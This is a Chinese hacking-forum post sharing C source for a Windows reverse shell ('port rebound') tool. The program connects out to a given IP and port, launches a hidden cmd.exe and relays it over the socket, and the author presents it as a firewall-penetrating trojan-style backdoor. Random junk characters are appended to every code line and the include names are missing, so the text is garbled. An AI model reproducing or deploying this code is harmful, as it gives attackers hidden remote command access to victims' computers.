社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6532阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (s@tU>4U  
Dzjt|U0ru9  
/* ============================== \j})Kul  
Rebound port in Windows NT _u|FJTk  
By wind,2006/7 c ^bk:=uj  
===============================*/ X<}o> 6|d  
#include agU!D[M_G  
#include :8-gm"awL5  
XL/o y'_  
#pragma comment(lib,"wsock32.lib") rbuL@= S@*  
j484b2uj1  
void OutputShell(); OC>_=i$ '  
SOCKET sClient; A r7mH4M  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; grxl{uIC8  
P:, x?T?J^  
void main(int argc,char **argv) e=jT]i*cU  
{ eQax ZMU  
WSADATA stWsaData; BS,5W]ervE  
int nRet; ,ibPSN5Ca  
SOCKADDR_IN stSaiClient,stSaiServer; DEQE7.]3q  
CL'Xip')T  
if(argc != 3) M$4=q((0  
{ ~z _](HKoS  
printf("Useage:\n\rRebound DestIP DestPort\n"); /`O]etr`d  
return; m":SE?{{&  
} -S%q!%}u  
G!VF*yW8  
WSAStartup(MAKEWORD(2,2),&stWsaData); u !3]RGJ  
K7xWE,y  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6^IqSNn-  
'Ywpdzz[  
stSaiClient.sin_family = AF_INET; P&%eIgAOL  
stSaiClient.sin_port = htons(0); "(\) &G  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jy(+ 0F  
4,F3@m:<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Cq*}b4^;  
{ 9kX=99kf[  
printf("Bind Socket Failed!\n"); M|({ 4C  
return; %w8GGm8^/  
} 9ze|s^  
oS#'u 1k  
stSaiServer.sin_family = AF_INET; {pb9UUP2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~'NpM#A  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^2C /!Y<  
k8 ;uC~L  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4`U0">gY  
{ :9F''f$AP  
printf("Connect Error!"); 'uKkl(==%  
return; 95^i/6Gl!P  
} Gkv~e?Kc~^  
OutputShell(); \SiHrr5  
} S2 "=B&,}  
Y%0d\{@a  
void OutputShell() o`\.I&Ij  
{ w&|R5Q  
char szBuff[1024]; "o{)X@YN]  
SECURITY_ATTRIBUTES stSecurityAttributes; I& M36f  
OSVERSIONINFO stOsversionInfo; jH&_E'XMX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; JpxbB)/  
STARTUPINFO stStartupInfo; z{@R.'BD  
char *szShell; *|k;a]HT  
PROCESS_INFORMATION stProcessInformation; >^yc=mM(g3  
unsigned long lBytesRead; /j' B\,  
F?8BS*r_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @ 2!C^}d3F  
.;HIEj zq  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J}(6>iuQY?  
stSecurityAttributes.lpSecurityDescriptor = 0; ;;?vgrz  
stSecurityAttributes.bInheritHandle = TRUE; ```d:f  
1X::0;3  
1 @%B?  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BeI;#m0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Q'|0?nBOY  
OpK. Lsd0y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8wII{FHX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p"[O#*p  
stStartupInfo.wShowWindow = SW_HIDE; kYxl1n v  
stStartupInfo.hStdInput = hReadPipe; eB= v~I3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; a(@p0YpKT  
=9pw uH  
GetVersionEx(&stOsversionInfo); Pknc[h},  
!6zyJc @01  
switch(stOsversionInfo.dwPlatformId) T3Frc ]6,4  
{ nw0L1TP/J  
case 1: MCk^Tp!  
szShell = "command.com"; (A29Z H  
break; -!J2x 8Ri  
default: a#+>w5  
szShell = "cmd.exe"; B f5&}2u  
break; tx0Go'{  
} WHUT/:?f  
$T?*0"Mj[  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g/8.W  
)RwBg8  
send(sClient,szMsg,77,0); Y5ogi )  
while(1) iW|s|1mh3  
{ 6ORY`Pe7P|  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); c[VrC+e m  
if(lBytesRead) *O@sh  
{ }iilzE4oH#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "v(G7*2  
send(sClient,szBuff,lBytesRead,0); a`H\-G  
} B(j02<-  
else 8FzHNG  
{ ~->Hlxze'K  
lBytesRead=recv(sClient,szBuff,1024,0); |JUe>E*  
if(lBytesRead<=0) break; tu\mFHvlg  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ag0]U  
} ~ww?Emrw  
} $ph0ag+  
[kbC'Eh*  
return; $]@O/[  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八